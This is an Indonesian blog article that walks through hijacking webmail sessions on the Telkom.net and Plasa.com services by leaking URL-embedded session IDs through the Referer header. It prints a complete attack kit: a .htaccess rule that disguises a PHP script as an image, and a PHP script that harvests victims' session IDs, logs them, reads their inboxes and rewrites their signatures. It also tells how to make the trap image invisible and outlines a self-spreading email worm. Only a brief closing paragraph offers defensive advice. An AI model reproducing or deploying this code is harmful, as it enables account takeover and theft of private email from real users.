Telkom.net dan Plasa.com
adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna
email telkomnet dan plasacom patut waswas, karena amat mudah untuk
menghack email di sana. Hanya dengan membuka sebuah email yang telah
dirancang khusus oleh attacker, email anda bisa menjadi milik attacker.
Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara
mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar
terhindar dari serangan itu.
Webmail Session Hijacking - Find4Something
Teknik hacking email dalam artikel ini adalah dengan cara hijacking
session. Oleh karena itu teknik ini hanya bisa dilakukan pada webmail
telkom.net dan plasa.com, pengguna telkom.net dan plasa.com yang
menggunakan Outlook/Thunderbird tidak rentan terhadap serangan ini.
Karena http adalah protokol yang stateless, sedangkan untuk membuat
session server harus bisa memantau state user, maka digunakanlah session
ID sebagai kunci atau penanda suatu session. Bila sessionID diketahui
attacker, maka attacker bisa menguasai session korban. Orang lain,
siapapun yang membawa sessionID anda, akan dianggap oleh server sebagai
anda. Hijacking session adalah usaha untuk mendapatkan session ID
korban, dengan cara predicting, capturing, atau fixating session ID.
SessionID diberikan oleh server dan harus dikembalikan lagi oleh browser
(client) setiap kali membuat request. Mekanisme penyimpanan dan
pengiriman session ID bisa dilakukan dengan dua cara:
- Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
- URL Rewriting: Server menyisipkan session ID dalam
halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan
dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya
bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh
server link tersebut akan disisipkan sessionID menjadi:
<A href="http://www.somesite.com/inbox.php?PHPSESSID=xxxxxxxxx">INBOX</A>
SessionID paling aman disimpan dan dikirim kembali ke server dalam
bentuk cookie, apalagi bila cookie tersebut diamankan dengan bit secure
atau httponly (baca: protecting cookie with httponly
). Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie
adalah dengan XSS attack dan sniffing attack, kedua jenis serangan itu
bisa dicegah dengan bit secure dan httponly.
Bila cookie telah diamankan dengan secure bit, maka cookie tersebut
tidak bisa dicuri dengan sniffing karena cookie hanya dikirim melalui
https, cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena
akses javascript terhadap cookie telah ditutup. Bila cookie hanya
dilindungi dengan httponly, maka cookie itu aman dari serangan XSS,
namun rentan sniffing bila cookie dikirimkan melalui http biasa.
Berbeda dengan cookie, menyimpan Session ID dalam URL sangatlah
berbahaya, karena URL mudah dilihat, dikopi dan disimpan dalam bookmark,
log file dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat
lain melalui header Referer. Sebab header Referer bertugas membawa URL
dimana sebuah request dilakukan. Bila dalam suatu halaman terjadi
request untuk mengambil gambar, maka header Referer akan mengandung URL
dari halaman tersebut. Dalam artikel ini saya akan menggunakan jurus
header Referer untuk membajak session webmail Telkom.net dan Plasa.com.
Bagi pemilik situs, tentu sering melihat header ini dengan program
statistic seperti Awstats untuk melihat pengunjung situs berasal dari
situs mana saja.
SessionID webmail Telkom.net dan Plasa.com disimpan pada URL sehingga
memudahkan pembajakan session. Mari kita lihat bagaimana bentuk URL
webmail telkom.net dan plasa.com:
http://mail.telkom.net/Session/206017-7vY8EVuJF2935NV9Fhzl-kmbcuww/mailbox.wssp?Mailbox=INBOX& http://mail1.plasa.com/Session/70174-k2O8e3vcnJEFxmxWYpOX-kmbcuwc/mailbox.wssp?Mailbox=INBOX& |
Stealing SessionID from Referer Header
Session ID pada URL telkom.net dan plasa.com disisipkan setelah
/Session/ hingga karakter / (slash). Sekarang bagaimana caranya
attacker bisa mengetahui URL yang sedang dibuka korban di browsernya? Di
awal saya sudah menyebutkan sekilas tentang header request yang bernama
Referer. Tugas dari header ini adalah mengirimkan URL halaman yang
melakukan request. Agar lebih jelasnya mari kita lihat sebuah contoh.
Ketika pengunjung sedang membuka halaman dengan URL:
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/Mailbox.wssp?Mailbox=INBOX |
Kemudian ketika terjadi request ke sebuah file image:
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif |
Maka pada request GET tersebut akan ada header seperti di bawah ini:
1 2 3 4 5 6 7 8 9 10 11 | GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1 Host: mail.telkom.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX& Cache-Control: max-age=0 |
Pada baris ke-10 terdapat header Referer yang menunjukkan bahwa request
tersebut terjadi ketika kepada user sedang berada di URL tersebut.
Karena URL yang direquest adalah
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif,
maka web server mail.telkom.net tempat file batal.gif tersebut berada,
dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan
apa yang terjadi bila request tersebut bukan mendownload image dari
mail.telkom.net, tapi dari server www.evilhackersite.com/image.jpg. Web
server di www.evilhackersite.com tentu akan mendapatkan URL tempat
terjadinya request dari header Referer. Dan karena URL tersebut
mengandung Session ID, maka dengan mudah attacker akan membajak session
anda.
Attack Scenario
Webmail telkom.net dan plasa.com menggunakan URL sebagai mekanisme
pertukaran session ID. Attacker bisa menjebak korban untuk membuka
sebuah email yang mengandung gambar yang berlokasi di server attacker.
Tag IMG tersebut akan membuat browser korban melakukan request ke server
attacker, dengan tentu saja mengirimkan URL korban dalam header
Referer. Dengan mengetahui session ID korban, attacker dengan mudah
menguasai account webmail korban.
Preparing the Script
Sebelum bisa melakukan serangan, yang pertama harus dilakukan adalah
menyiapkan server side script sebagai target request untuk menangkap
SessionID korban. Server side script ini akan di-”masking” sebagai file
JPG dengan menggunakan mod_rewrite Apache (.htaccess). Server side
script yang dimasking sebagai file JPG inilah yang akan dimasukkan dalam
tag IMG dalam email yang dibaca korban. Bila korban membaca email
attacker, maka akan terjadi request ke server side script itu, sehingga
attacker bisa mendapatkan session ID korban dan menguasai emailnya.
URL yang akan kita jadikan tujuan request adalah:
http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah
masking untuk server side script
http://www.ilmuhacking.com/mylab/checkmail.php. Dengan menggunakan
mod_rewrite Apache dan settings .htacess berikut ini masking
checkmail.php menjadi image.jpg bisa dilakukan:
1 2 3 | RewriteEngine On RewriteBase / RewriteRule mylab/image.jpg mylab/checkmail.php |
Berikutnya saya harus menyiapkan file checkmail.php. Tugas dari script
php itu adalah mendapatkan session ID kemudian langsung membajak session
korban bermodalkan session ID tersebut.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | <?php // Ambil header Referer $ref = $_SERVER["HTTP_REFERER"]; $telkomnet = false; $plasacom = false; $width = 468; $height = 100; if (strpos($ref,"telkom.net")>-1) { $telkomnet = true; } if (strpos($ref,"plasa.com")>-1) { $plasacom = true; } if ($telkomnet===false && $plasacom===false) { exit(); } $file = fopen("daftarkorban.txt","a"); $url_tokens = parse_url($ref); $host = $url_tokens["host"]; $tokens = explode("/",$ref); $sessid = $tokens[4]; fwrite($file,"######\n"); fwrite($file,"REFERER:".$_SERVER["HTTP_REFERER"]."\n"); fwrite($file,"SESSID:".$sessid."\n"); $urlhost = "http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&"; $inboxhtml = file_get_contents($urlhost); preg_match('/<title>(.*?)<\/title>/i', $inboxhtml, $matches); $title=$matches[1]; $email = $title; $pos = strpos($title," "); if ($pos > -1) { $email = substr($title,0,$pos); } fwrite($file,"KORBAN:".$email."\n"); fwrite($file,"******\n"); fclose($file); $image = ImageCreate($width, $height); $white = ImageColorAllocate($image, 255, 255, 255); $black = ImageColorAllocate($image, 0, 0, 0); $grey = ImageColorAllocate($image, 204, 204, 204); ImageFill($image, 0, 0, $black); ImageString($image, 3, 15, 5, $sessid, $white); ImageString($image, 3, 25, 25, $email, $white); // Writing Signature... $url = "http://mail.telkom.net/Session/$sessid/settings.wssp"; if ($plasacom==true) { $url = "http://mail1.plasa.com/Session/$sessid/settings1.wssp"; } $old_settings = file_get_contents($url); preg_match('/<textarea(.*?)>(.*?)<\/textarea>/i', $old_settings, $matches); $oldsig = $matches[2]; $data = array(); $data["UserFrom"] = $email; $newsig = "[YOUR EMAIL HAS BEEN HACKED]".$oldsig; $data["Signature"] = $newsig; $data["Update"] = "Update"; $response = doPost($url,$data); if ((strpos($response,"Updated")>-1 && $telkomnet==true) || $plasacom==true) { ImageString($image, 3, 35, 50, "Signature anda berhasil diganti menjadi:" , $white); ImageString($image, 3, 45, 65, $newsig , $white); } header("Content-Type: image/jpeg"); ImageJpeg($image); ImageDestroy($image); function doPost($url,$data) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $response = curl_exec($ch); if(curl_errno($ch)) { $response = curl_error($ch); } curl_close($ch); return $response; } ?> |
Cara kerja script di atas adalah: Pada baris ke-3 isi header Referer
diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini
adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID
diambil dari header referer. Setelah session ID didapatkan kini script
bisa mengubah signature korban, dengan cara mengirimkan POST request ke
http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp,
perhatikan baris ke-65. Setelah mengubah signature korban, pada baris
ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature
anda berhasil diganti menjadi:”.
Launch The Attack
Oke, kini semua persiapan sudah siap. Kini saatnya kita melancarkan
serangan dengan mengirimkan email html yang mengandung tag IMG. Dalam
contoh attacker adalah rizki.wicaksono@telkom.net dan korban adalah
rizki.wicaksono@plasa.com. Ingat ini hanya contoh, dalam kenyataannya
attacker bisa menggunakan email apapun, bahkan email palsu (anonymous).
Perhatikan gambar berikut ini yang menunjukan bagaimana email yang
berisi jebakan dibuat dan ditujukan untuk korban.
Dalam gambar tersebut email diisi dengan tag HTML IMG. Perhatikan bahwa
saya bisa saja membuat image tersebut invisible dengan memberikan
atribut width dan src 0. Dengan membuat image menjadi invisible, korban
tidak akan menyadari bahwa emailnya telah dibajak. Tapi untuk contoh
saya membiarkan gambar berukuran besar. Berikut ini adalah isi tanda
tangan (signature) email korban sebelum email dibuka.
Dan gambar berikut adalah gambar ketika email attacker tiba.
Dan gambar berikut adalah gambar ketika email attacker dibuka oleh
korban. Pada gambar tersebut terlihat bahwa session id korban dan pesan
bahwa signature korban berubah tertulis dalam file image.jpg.
Pada saat korban membuka email dari attacker, pada saat itu juga
attacker menguasai penuh account email korban. Dalam contoh artikel ini
attacker mengubah signature korban dengan menambahkan string [YOUR EMAIL
HAS BEEN HACKED]. Berikut ini adalah gambar signature korban setelah
korban membuka email attacker.
Worm Attack: More Dangerous Scenario
Skenario serangan yang lebih berbahaya adalah bila attacker
mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat bahwa ketika
attacker mendapatkan session ID, pada saat itu attacker memiliki power
yang setara dengan korban. Dengan session korban, attacker bisa
mengirimkan email serangan yang sama ke calon korban lain yang ada di
dalam daftar buku alamat korban. Begitu teman korban membuka email itu,
maka session dia juga dalam genggaman attacker dan dia juga akan
menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi
berantai yang berbahaya.
Sulitkah membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua
itu tidak lebih dari kombinasi request GET dan POST dengan berbekal
session ID korban. Attacker harus membaca phone book dengan mengirim
request HTTP (GET/POST) dengan session ID korban. Setelah itu attacker
akan mengirimkan email serangan ke teman-teman korban juga dengan
melakukan request HTTP dengan session ID korban. Begitu seterusnya.
Tidak sulit bukan, apalagi buat orang yang sudah sering memprogram.
Tips Menghindari Serangan
Karena serangan ini dilakukan dengan membajak session web, maka serangan
ini hanya bisa dilakukan bila korban membaca email telkom.net dan
plasa.com dengan webmail. Jadi agar terhindar dari serangan ini,
gunakanlah akses POP3 atau IMAP untuk membaca email. Dengan menggunakan
email client non-web seperti Thunderbird dan Outlook anda akan aman dari
serangan ini.
Comments